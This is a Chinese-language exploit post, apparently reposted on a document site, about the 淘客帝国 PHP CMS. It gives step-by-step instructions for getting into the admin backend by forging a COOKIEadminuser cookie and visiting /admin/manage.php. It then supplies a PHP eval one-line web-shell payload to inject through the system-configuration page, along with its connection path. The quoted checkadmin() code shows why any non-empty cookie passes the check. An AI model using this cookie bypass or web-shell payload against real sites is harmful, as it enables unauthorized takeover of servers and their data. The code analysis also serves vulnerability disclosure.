淘客帝国系统后台cookie欺骗漏洞及后台拿shell漏洞预警 -电脑资料

首先打开工具把cookie改为 COOKIEadminuser=admin; DedeUserID=1; PHPSESSID=11111 ，然后再工具的地址栏那里输入网站的后台（默认后台/admin）等页面全部出来后再在后台目录后加上manage.php 跳转就可以进入后台了，进入后台后怎么样拿shell就简单了，这里就不说了..

补下代码【anfli 补】

getshell 简单系统配置 {${@eval($_POST['cmd'])}} 一句话连接地址/data/configdata.php

顺便补一下代码===================|The End}

##admin目录下php 部验证##

--------------------main.php

<?php

require_once '../include/adminfunction.php';

checkadmin();

---------------------/include/sysfunction.php

#####

function checkadmin(){

global $COOKIEadminuser;

global $sitetitleurl;

//判断

if( (isset($_COOKIE['COOKIEadminuser']) && $_COOKIE['COOKIEadminuser']!="") || (isset($_SESSION['adminuser']) && $_SESSION['adminuser']!="") ){

}else{

echo("");

exit;

}

一看就懂

$_COOKIE['COOKIEadminuser']!="" 只要不为空就ok

//index.php 一看到这里就知道程序员自己催眠了自己登出就把adminuser 清空 .........COOKIEadminuser是干神马的？

/admin/index.php 是不会通过验证但是如果访问/admin/manage.php 的话一样ok 也就lz所谓的偶然发现了 COOKIEadminuser 并没有空

if($action=="loginout"){

$_SESSION['adminuser'] = "";

SetCookie("adminuser", "");

redirect_to($sitetitleurl);

其实所有审计过程是倒序

淘客帝国系统后台cookie欺骗漏洞及后台拿shell漏洞预警 -电脑资料

将本文的Word文档下载到电脑，方便收藏和打印

推荐度：

点击下载文档文档为doc格式